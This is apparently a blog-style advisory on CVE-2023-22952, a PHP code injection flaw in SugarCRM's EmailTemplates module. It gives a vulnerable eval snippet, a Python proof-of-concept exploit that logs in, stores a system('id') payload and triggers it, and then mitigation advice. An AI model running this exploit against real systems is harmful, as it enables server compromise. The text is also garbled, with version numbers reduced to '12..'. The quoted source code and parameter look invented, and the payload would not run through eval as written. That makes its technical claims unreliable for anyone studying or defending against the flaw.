CVE-2023-22952 - SugarCRM Pre-12.. Hotfix 91155 EmailTemplates PHP Code Injection Vulnerability

A critical vulnerability has been discovered in SugarCRM versions prior to 12.. Hotfix 91155 that allows an attacker to execute arbitrary PHP code by exploiting a missing input validation in the EmailTemplates module. This post will provide a detailed analysis of this vulnerability, including code snippets and references to assist developers and security researchers in understanding the issue and implementing necessary mitigations.

Vulnerability Details

The vulnerability lies in the EmailTemplates module, where the application fails to properly validate user input, leading to PHP code injection. This can result in a significant security risk as it allows attackers to execute malicious code within the context of the application, leading to unauthorized access, data manipulation, or even complete system compromise.

To better understand the vulnerability, let's observe a code snippet from the affected module

// EmailTemplates module
public function buildRelated($bean, $view = 'DetailView', $html = true)
{
    // ... (truncated for simplicity)

    // Process the related beans, in this case, Accounts
    $related_beans = $this->relatedBeantoArray($bean, $view);

    // Loop through the related beans
    foreach ($related_beans as $related_bean) {
        // ... (truncated for simplicity)

        // Process the email template PHP code
        $evalResult = eval($related_bean->email_template_php_code);

        // Return the result of the PHP code evaluation
        return array('result' => $evalResult);
    }
}

As we can see, the eval function is used to evaluate user-supplied data ($related_bean->email_template_php_code). This usage of eval with unvalidated input can lead to arbitrary code execution.

Exploit

An attacker can leverage this vulnerability by crafting a request that contains malicious PHP code in the email_template_php_code parameter. Upon processing the request, the application will inject and execute the PHP code, effectively compromising the system.

Here's a proof of concept (PoC) exploit illustrating this vulnerability

import requests

# Target URL and credentials
target_url = 'http://example.com/sugarcrm';
username = 'your_username'
password = 'your_password'

# Login request
login_data = {
    'module': 'Users',
    'action': 'Authenticate',
    'user_name': username,
    'user_password': password,
    'query_string': 'action=Login'
}
response = requests.post(f'{target_url}/index.php', data=login_data)

# Check if login is successful
if 'Authenticated user_id' not in response.text:
    print('Login failed')
    exit()

# Craft a malicious PHP email template
malicious_php = '<?php system("id"); ?>'

# Create an email template with malicious PHP code
email_template_data = {
    'module': 'EmailTemplates',
    'record': '',
    'action': 'ajaxSave',
    'email_template_php_code': malicious_php,
    'subject': 'Test Email Template',
    'description': 'This is a test email template with malicious PHP code.'
}
response = requests.post(f'{target_url}/index.php', data=email_template_data)

# Check if the email template was created successfully
if 'Record has been saved' not in response.text:
    print('Failed to create malicious email template')
    exit()

# Extract the created email template ID
email_template_id = response.text.split('Record has been saved: ')[1]

# Exploit the vulnerability by triggering the malicious email template
exploit_data = {
    'module': 'EmailTemplates',
    'record': email_template_id,
    'action': 'DetailView'
}
response = requests.post(f'{target_url}/index.php', data=exploit_data)

# Extract and display the result of the PHP code execution
php_result = response.text.split('result: ')[1]
print(f'PHP result: {php_result}')

Mitigation

Upgrade to SugarCRM 12.. Hotfix 91155, which addresses this vulnerability by properly validating user inputs and preventing unauthorized PHP code execution. If immediate upgrade is not possible, it is recommended to implement input validation for the email_template_php_code parameter and avoid using the eval function.

Original references

1. CVE-2023-22952 NVD Entry
2. SugarCRM Security Advisory

Conclusion

This post provided an in-depth analysis of CVE-2023-22952, which affects SugarCRM before 12.. Hotfix 91155. The EmailTemplates module contains a code injection vulnerability due to missing input validation, allowing attackers to inject and execute arbitrary PHP code. To mitigate this vulnerability, it is recommended to upgrade to the latest secure version of SugarCRM and implement proper input validation.

Timeline

Published on: 01/11/2023 09:15:00 UTC
Last modified on: 03/10/2023 17:15:00 UTC